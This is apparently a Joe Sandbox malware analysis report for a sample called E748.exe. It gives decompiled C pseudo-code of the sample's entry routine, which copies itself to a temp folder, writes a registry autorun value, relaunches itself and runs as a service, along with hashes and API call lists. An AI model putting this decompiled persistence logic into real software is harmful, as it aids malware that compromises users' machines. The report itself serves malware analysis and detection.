Function 0043CEE4, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D0E0
__aulldiv.LIBCMT ref: 0043D102

Strings

9, xrefs: 0043D113

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 6ce0f3adbb639b4e862695ca8348917e078dca6d7262f8534f27f05e5262b605
Instruction ID: 779a1091ff91e97879f15e819453ac8c2fa8b154787d7d12b33ae288a13562b2
Opcode Fuzzy Hash: 6ce0f3adbb639b4e862695ca8348917e078dca6d7262f8534f27f05e5262b605
Instruction Fuzzy Hash: 724117B1E002299FDF24CF48DD81BAEB7B5FB89314F10519AE248AB241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435BAC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435DA5
__aulldiv.LIBCMT ref: 00435DC7

Strings

9, xrefs: 00435DD8

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 60b751e7fcad8a828101664857d44c77de730f9050cd094497d49be91f944bb1
Instruction ID: e1b537897c62a94e0697aaa2083f1b197cd57e136aab6acfab1ef6eb07c5672e
Opcode Fuzzy Hash: 60b751e7fcad8a828101664857d44c77de730f9050cd094497d49be91f944bb1
Instruction Fuzzy Hash: 5741F771D11A29DFEB24CF59CC89BAEB7B5FB48304F14959AD009A7240C7385E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE8D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D0E0
__aulldiv.LIBCMT ref: 0043D102

Strings

9, xrefs: 0043D113

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: b71622d078156fedb2774a8288c6c7c45e5111a80a2b3c8b73a139707ee545f4
Instruction ID: c2c1efeb956c87155186a686c4d253786f819acbc612d45f59e1468f39f2a7a7
Opcode Fuzzy Hash: b71622d078156fedb2774a8288c6c7c45e5111a80a2b3c8b73a139707ee545f4
Instruction Fuzzy Hash: E441F7B1E002299FDF24CF58DD81BAEB7B5FB89314F10519AE249A7241C7785E81CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00435B5B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435DA5
__aulldiv.LIBCMT ref: 00435DC7

Strings

9, xrefs: 00435DD8

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: c3405c7e4d12c1e0b3c3af79d0b43dbecfd5581b06916b5c403f305c72a1375b
Instruction ID: 5da9e29a1b7f7fd72363a01d8f8e711499d3cf39f9ef877b22b8cc5589f42851
Opcode Fuzzy Hash: c3405c7e4d12c1e0b3c3af79d0b43dbecfd5581b06916b5c403f305c72a1375b
Instruction Fuzzy Hash: 4C41E571D05A29DFEB24CF59DC89BAEB7B5BB48304F2095DAD409A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: E748.exe PID: 5476 Parent PID: 3424 E748.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0);
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
